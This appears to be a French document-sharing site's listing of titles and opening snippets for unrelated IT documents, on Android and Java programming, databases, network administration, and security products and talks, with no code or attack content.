Qu est ce que Visual Guard. Authentification Vérifier l identité d un utilisateur
Qu est ce que Visual Guard Authentification Vérifier l identité d un utilisateur Autorisation Qu est-ce qu un utilisateur peut faire dans l application Audits et rapports Fonctionnalités d Audit et de
Alfstore workflow framework Spécification technique
Alfstore workflow framework Spécification technique Version 0.91 (2012-08-03) www.alfstore.com Email: [email protected] Alfstore workflow framework 2012-10-28 1/28 Historique des versions Version Date
Outils, langage et approche Android Une introduction. Nicolas Stouls nicolas.stouls@insa lyon.fr
Outils, langage et approche Android Une introduction Nicolas Stouls nicolas.stouls@insa lyon.fr Webographie La bible contenant «tout» : http://developer.android.com/index.html Les supports cette intervention
1. Base de données SQLite
Dans ce TP, nous allons voir comment créer et utiliser une base de données SQL locale pour stocker les informations. La semaine prochaine, ça sera avec un WebService. On repart de l application AvosAvis
avast! EP: Installer avast! Small Office Administration
avast! EP: Installer avast! Small Office Administration Comment installer avast! Small Office Administration? avast! Small Office Administration est une console web qui permet la gestion a distance de
La base de données XML exist. A. Belaïd
La base de données XML exist Introduction Qu est-ce-que exist? C est une base de donnée native, entièrement écrite en Java XML n est pas une base de données en soi Bien qu il possède quelques caractéristiques
Développement d un logiciel de messagerie instantanée avec Dotnet (version simplifiée)
Développement d un logiciel de messagerie instantanée avec Dotnet (version simplifiée) Propriétés Description Intitulé long Formation concernée Matière Présentation Développement d un logiciel de messagerie
Architecture Orientée Service, JSON et API REST
UPMC 3 février 2015 Précedemment, en LI328 Architecture générale du projet Programmation serveur Servlet/TOMCAT Aujourd hui Quelques mots sur les SOA API - REST Le format JSON API - REST et Servlet API
Développement d applications professionnelles avec Android 2
Développement d applications professionnelles avec Android 2 Reto Meier Traduit par Dalil Djidel, avec la contribution technique d Arnaud Farine Pearson Education France a apporté le plus grand soin à
27/11/12 Nature. SDK Python et Java pour le développement de services ACCORD Module(s)
Propriétés du Document Source du Document SDK_accords.odt Titre du Document SDK Python et Java pour le développement de services ACCORD Module(s) PyaccordsSDK, JaccordsSDK Responsable Prologue Auteur(s)
Guide de démarrage Intellipool Network Monitor
Guide de démarrage Intellipool Network Monitor Sommaire Glossaire... 3 Icônes... 3 Page de connexion... 4 Page d accueil... 5 Saisie de la clé de licence... 7 My settings... 8 Création d un compte... 9
Android Usage Professionnel
Android Usage Professionnel Guide pratique Ce document met l accent sur l intégration pratique des appareils Android en entreprise. Juin 2014 Ulrik Van Schepdael Mobco bvba Avant-propos Android est la
Trusteer Pour la prévention de la fraude bancaire en ligne
Trusteer Pour la prévention de la fraude bancaire en ligne La solution de référence pour la prévention de la fraude bancaire en ligne Des centaines d institutions financières et des dizaines de millions
Tout d abord les pré-requis : Au menu un certain nombre de KB
Sauvegarde automatisée de VM sous HyperV!!! Un sujet plutôt obscur La solution de virtualisation de Microsoft, HyperV (aujourd hui en v1) est très puissante et rivalise avec les ténors comme la solution
Création d objet imbriqué sous PowerShell.
Création d objet imbriqué sous PowerShell. Par Laurent Dardenne, le 13/01/2014. Niveau Ce tutoriel aborde la création d objet composé, c est-à-dire que certains de ses membres seront eux-mêmes des PSObjects.
Exceptions. 1 Entrées/sorties. Objectif. Manipuler les exceptions ;
CNAM NFP121 TP 10 19/11/2013 (Séance 5) Objectif Manipuler les exceptions ; 1 Entrées/sorties Exercice 1 : Lire un entier à partir du clavier Ajouter une méthode readint(string message) dans la classe
Table des matières PRESENTATION DU LANGAGE DS2 ET DE SES APPLICATIONS. Introduction
PRESENTATION DU LANGAGE DS2 ET DE SES APPLICATIONS Depuis SAS 9.2 TS2M3, SAS propose un nouveau langage de programmation permettant de créer et gérer des tables SAS : le DS2 («Data Step 2»). Ces nouveautés
Le scan de vulnérabilité
4 Le scan de vulnérabilité Sommaire Le scan de vulnérabilité de base Scan avec NeXpose L assistant "nouveau site" Le nouvel assistant pour les scans manuels Scan avec Nessus Scanners de vulnérabilité spécialisés
Protection des protocoles www.ofppt.info
ROYAUME DU MAROC Office de la Formation Professionnelle et de la Promotion du Travail Protection des protocoles DIRECTION RECHERCHE ET INGENIERIE DE FORMATION SECTEUR NTIC Sommaire 1. Introduction... 2
as Architecture des Systèmes d Information
Plan Plan Programmation - Introduction - Nicolas Malandain March 14, 2005 Introduction à Java 1 Introduction Présentation Caractéristiques Le langage Java 2 Types et Variables Types simples Types complexes
Ce document décrit une solution de single sign-on (SSO) sécurisée permettant d accéder à Microsoft Exchange avec des tablettes ou smartphones.
PERSPECTIVES Le Single Sign-On mobile vers Microsoft Exchange avec OWA et ActiveSync Ce document décrit une solution de single sign-on (SSO) sécurisée permettant d accéder à Microsoft Exchange avec des
RSA ADAPTIVE AUTHENTICATION
RSA ADAPTIVE AUTHENTICATION Plate-forme complète d authentification et de détection des fraudes D UN COUP D ŒIL Mesure du risque associé aux activités de connexion et de postconnexion via l évaluation
Plan du cours. Historique du langage http://www.oracle.com/technetwork/java/index.html. Nouveautés de Java 7
Université Lumière Lyon 2 Faculté de Sciences Economiques et Gestion KHARKIV National University of Economic Introduction au Langage Java Master Informatique 1 ère année Julien Velcin http://mediamining.univ-lyon2.fr/velcin
WINDEV MOBILE. ios SMARTPHONE SUPPORT: IOS, ANDROID, WINDOWS PHONE 8.
WINDEV MOBILE ios SMARTPHONE SUPPORT: IOS, ANDROID, WINDOWS PHONE 8. WINDOWS Mobile permet de créer des applications pour les smartphones, les tablettes et les terminaux mobiles. Les applications sont
Guide d administration de Microsoft Exchange ActiveSync
Guide d administration de Microsoft Exchange ActiveSync Copyright 2005 palmone, Inc. Tous droits réservés. palmone, HotSync, Treo, VersaMail et Palm OS sont des marques commerciales ou déposées dont palmone,
Plate formes mobiles. Utilisation. Contexte 9/29/2010 IFC 2. Deux utilisations assez distinctes :
Plate formes mobiles IFC 2 Markus Jaton Utilisation Deux utilisations assez distinctes : Téléphones évolués (Nokia, Motorola) Smartphones (Apple,, Windows) La téléphonie est en stagnation, alors que les
Android 2.3 Gingerbread
Android 2.3 Gingerbread Laurent Villain Le but de cette documentation est de permettre d utiliser à des fins professionnelles un smartphone avec l OS Android. Les appareils qui ont servi à cette expérimentation
Les vols via les mobiles
1 Les vols via les mobiles Android est le système d exploitation le plus populaire parmi les utilisateurs des appareils mobiles et malheureusement aussi parmi les cybercriminels puisque c est l OS le plus
Pour signifier qu'une classe fille hérite d'une classe mère, on utilise le mot clé extends class fille extends mère
L'héritage et le polymorphisme en Java Pour signifier qu'une classe fille hérite d'une classe mère, on utilise le mot clé extends class fille extends mère En java, toutes les classes sont dérivée de la
Installation d'un serveur RADIUS
Installation d'un serveur RADIUS Par LoiselJP Le 22/05/2013 1 Objectifs Ce document décrit le plus succinctement possible une manière, parmi d'autres, de créer un serveur Radius. L installation ici proposée
TP1. Outils Java Eléments de correction
c sep. 2008, v2.1 Java TP1. Outils Java Eléments de correction Sébastien Jean Le but de ce TP, sur une séance, est de se familiariser avec les outils de développement et de documentation Java fournis par
Chrome for Work. CRESTEL - 4 décembre 2014
Chrome for Work CRESTEL - 4 décembre 2014 Connect Visualize Build Find Access 10 applications Web 3 appareils moyenne par employé Source : Forrester & Cisco. Accès sécurisé aux outils et aux données de
SQL Server Installation Center et SQL Server Management Studio
SQL Server Installation Center et SQL Server Management Studio Version 1.0 Grégory CASANOVA 2 SQL Server Installation Center et SQL Server Management Studio [03/07/09] Sommaire 1 Installation de SQL Server
Projet Viticulture - TP 3 : bases de données distantes BTS Services informatiques aux organisations
Projet Viticulture TP 3 : bases de données externes Description du thème Partie 1 : bases de données locales SQLite Partie 2 : projet H2O stockage local Partie 3 : bases de données distantes Partie 4 :
Documentation utilisateur, manuel utilisateur MagicSafe Linux. Vous pouvez télécharger la dernière version de ce document à l adresse suivante :
Documentation utilisateur, manuel utilisateur MagicSafe Linux. Vous pouvez télécharger la dernière version de ce document à l adresse suivante : http://www.hegerys.com/documentation/magicsafe-windows-doc.pdf
10 bonnes pratiques de sécurité dans Microsoft SharePoint
10 bonnes pratiques de sécurité dans Microsoft SharePoint SharePoint constitue certes un outil collaboratif précieux. Mais gare aux risques pour votre entreprise. 10 bonnes pratiques de sécurité dans Microsoft
Upgrade du Huawei U8230 : Android 2.1 et rom custom
Upgrade du Huawei U8230 : Android 2.1 et rom custom Tout d'abord je tiens à signaler que tout ceci n'est pas sans risque. Merci à davidd pour son tuto à l'adresse suivante http://forum.frandroid.com/forum/viewtopic.php?
Mobilité, quand tout ordinateur peut devenir cheval de Troie
Mobilité, quand tout ordinateur peut devenir cheval de Troie SSTIC 2004, 2-4 juin, Rennes Cédric Blancher Arche, Groupe Omnetica MISC Magazine Agenda 1)Introduction : le concept
Créer et partager des fichiers
Créer et partager des fichiers Le rôle Services de fichiers... 246 Les autorisations de fichiers NTFS... 255 Recherche de comptes d utilisateurs et d ordinateurs dans Active Directory... 262 Délégation
Acquisition des données
Chef De Projet Informatique en Environnement Territorial diffusion restreinte à l'enseignement CDP-UPMC Frédéric Bongat Formation CDP 1 Un système compromis implique: Une méthodologie afin de faire face
Cours 1: Java et les objets
Ressources Les interface homme-machine et le langage Java DUT première année Henri Garreta, Faculté des Sciences (Luminy) Cyril Pain-Barre & Sébastien Nedjar, IUT d Aix-Marseille (Aix) Cours 1: infodoc.iut.univ-aix.fr/~ihm/
Un ordonnanceur stupide
Un ordonnanceur simple Université Paris Sud L objet des exercices qui suivent est de créer un ordonanceur implantant l algorithme du tourniquet ( round-robin scheduler ). La technique utilisée pour élire
Programmation Mobile Android Master CCI
Programmation Mobile Android Master CCI Bertrand Estellon Aix-Marseille Université March 23, 2015 Bertrand Estellon (AMU) Android Master CCI March 23, 2015 1 / 266 Organisation de l UE Objectifs du cours
ANTIDOTE 8 INSTALLATION RÉSEAU WINDOWS
INSTALLATION RÉSEAU WINDOWS ANTIDOTE 8 ANTIDOTE 8 INSTALLATION RÉSEAU WINDOWS Version 8.1, novembre 2012 2012 Druide Informatique inc. Tous droits réservés INSTALLATION RÉSEAU WINDOWS ANTIDOTE 8 Table
Serveur d'application Client HTML/JS. Apache Thrift Bootcamp
Serveur d'application Client HTML/JS Apache Thrift Bootcamp Pré-requis La liste ci-dessous de logiciels doit être installée et opérationnelle sur la machine des participants : Compilateur thrift http://thrift.apache.org/
Point sur les solutions de développement d apps pour les périphériques mobiles
Point sur les solutions de développement d apps pour les périphériques mobiles Par Hugues MEUNIER 1. INTRODUCTION a. Une notion importante : le responsive web design Nous sommes en train de vivre une nouvelle
Tp 1 correction. Structures de données (IF2)
Tp 1 correction Structures de données (IF2) Remarque générale : compilez et exécutez le code au-fur-et-à mesure de son écriture. Il est plus facile de corriger une petite portion de code délimitée que
Française. Merci d avoir choisi la TAB411.
Merci d avoir choisi la TAB411. La TAB411 est parfaitement équipée pour vous faire bénéficier d une navigation et de fonctions multimédias complètes. Écran tactile résistant de 10 avec une résolution de
Structure d un programme et Compilation Notions de classe et d objet Syntaxe
Cours1 Structure d un programme et Compilation Notions de classe et d objet Syntaxe POO 1 Programmation Orientée Objet Un ensemble d objet qui communiquent Pourquoi POO Conception abstraction sur les types
IP Remote Controller
4-450-999-22 (1) IP Remote Controller Guide de configuration du logiciel RM-IP10 Setup Tool Version du logiciel 1.1.0 2012 Sony Corporation Table des matières Introduction... 3 Préparation de votre ordinateur...
Mettre en place un accès sécurisé à travers Internet
Mettre en place un accès sécurisé à travers Internet Dans cette partie vous verrez comment configurer votre serveur en tant que serveur d accès distant. Dans un premier temps, les méthodes pour configurer
L3 informatique TP n o 2 : Les applications réseau
L3 informatique TP n o 2 : Les applications réseau Sovanna Tan Septembre 2009 1/20 Sovanna Tan L3 informatique TP n o 2 : Les applications réseau Plan 1 Transfert de fichiers 2 Le Courrier électronique
PlantVisorPRO. Supervision d installations. Manuel rapide. Integrated Control Solutions & Energy Savings
PlantVisorPRO Supervision d installations Manuel rapide Integrated Control Solutions & Energy Savings +040000082 ver. 2.0 14/09/2010 2 Indice PlantVisorPRO 1 1. IntroduCTION 5 7. PersonNALISER L INTERFACE
L envoi d un formulaire par courriel. Configuration requise... 236 Mail Texte... 237 Mail HTML... 242 Check-list... 248
L envoi d un formulaire par courriel Configuration requise... 236 Mail Texte... 237 Mail HTML... 242 Check-list... 248 Chapitre 9 L envoi d un formulaire par courriel L envoi par courriel d informations
Manuel d utilisation de la plate-forme de gestion de parc UCOPIA. La mobilité à la hauteur des exigences professionnelles
Manuel d utilisation de la plate-forme de gestion de parc UCOPIA La mobilité à la hauteur des exigences professionnelles 2 Manuel d utilisation de la plate-forme de gestion de parc UCOPIA 1 Table des matières
Info0101 Intro. à l'algorithmique et à la programmation. Cours 3. Le langage Java
Info0101 Intro. à l'algorithmique et à la programmation Cours 3 Le langage Java Pierre Delisle, Cyril Rabat et Christophe Jaillet Université de Reims Champagne-Ardenne Département de Mathématiques et Informatique
Dossier Technique. Détail des modifications apportées à GRR. Détail des modifications apportées à GRR Le 17/07/2008. Page 1/10
Dossier Technique Page 1/10 Sommaire : 1. REPONSE TECHNIQUE A LA DEMANDE 3 1.1. Prise en compte de la dernière version de phpcas 3 1.2. Gestion de la connexion à GRR 3 1.2.1. Récupération des attributs
